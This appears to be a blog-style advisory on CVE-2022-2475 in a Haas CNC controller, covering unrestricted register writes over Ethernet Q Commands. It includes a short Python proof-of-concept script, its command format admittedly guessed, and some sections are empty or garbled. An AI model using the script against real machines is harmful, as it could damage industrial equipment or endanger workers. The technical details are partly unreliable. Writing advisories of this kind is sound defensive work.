In 2022, a significant security vulnerability was identified in the Haas Controller, specifically version 100.20.000.111. Known as CVE-2022-2475, this issue exposes critical flaws in how the controller manages access permissions when using the “Ethernet Q Commands” service. If you operate Haas CNC machines or are responsible for their security, understanding this vulnerability is vital. This article gives you a clear overview of the problem, demonstrates an example exploit, and points you to further resources.

What Is the Haas Controller?

The Haas Controller is the core brain for many Haas CNC (Computer Numerically Controlled) machines, used globally to automate precision manufacturing. These controllers can be accessed and managed over a network using special “Q Commands,” which allow operations like reading or writing data to specific memory registers.

The Vulnerability (CVE-2022-2475) Explained

CVE-2022-2475 describes a flaw in the access controls applied to the Ethernet Q Commands interface of the controller. Typically, a user is only supposed to read or write to a certain range of system registers—the specific “authorized” ones granted by their credentials.

The Bug:  
Due to missing or insufficient checks, any user—regardless of their permissions—can craft a Q Command over the network and write to any register, including those that are meant to be off-limits.

Impact:

What's Missing?

The problem boils down to poor “granularity” in access checks: instead of restricting Q Command access based on user type and register address, the system only checks if a user is generally authenticated.

Here’s a simplified structure of a Q Command packet (in pseudo-code)

# Example Q Command packet to write 1234 into register 900
q_command_packet = {
    "function": "WRITE_REGISTER",
    "register_number": 900,      # SUPPOSED TO BE RESTRICTED
    "value": 1234
}

In properly secured controllers, attempting to write to restricted registers (e.g., 900+) should be blocked unless priviledged access is explicitly granted.

Exploit Scenario

Let’s see how an attacker, even with only basic user access, could abuse this bug.

Step 1: Connect to the Controller

The attacker connects to the Haas Controller's Ethernet interface via a TCP client (often on port 808 or 8021, check your actual setup).

The attacker then sends a network packet similar to below (Python with socket library)

import socket

# Controller's IP and port
host = '192.168.1.100'
port = 808

# Example Q Command (actual format may vary, see API docs!)
payload = b"Q900=1234\n"  # Write 1234 to register 900

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
response = s.recv(1024)

print("Controller responds:", response.decode())
s.close()

*Note: The real command format and port may differ, depending on your Haas Controller settings. Some environments require authentication, but due to CVE-2022-2475, even weakly authenticated users can succeed.*

Real-World Risks

Who’s affected?  
Shops and factories running vulnerable Haas Controller versions, where network security is not strictly enforced.

Update Firmware:

Patch to a firmware version where this vulnerability is fixed. Check with Haas Automation for upgrades.

References

- NIST National Vulnerability Database: CVE-2022-2475
- Haas CNC Controller Firmware Downloads
- Ethernet Q Commands Reference Guide _(if available, otherwise contact Haas support)_

Conclusion

CVE-2022-2475 reminds us that even industrial equipment—often isolated from standard IT security practices—can contain exploitable software weaknesses. If you use Haas Controllers, especially version 100.20.000.111, check your systems, apply patches, and lock down network access.

A small oversight in access control can open big doors for attackers—or anyone with network access and curiosity! Stay safe, and keep your factory floor secure.


If you found this post helpful, or have direct experience patching this issue, share your story in the comments!

Timeline

Published on: 10/28/2022 18:15:00 UTC
Last modified on: 11/02/2022 15:45:00 UTC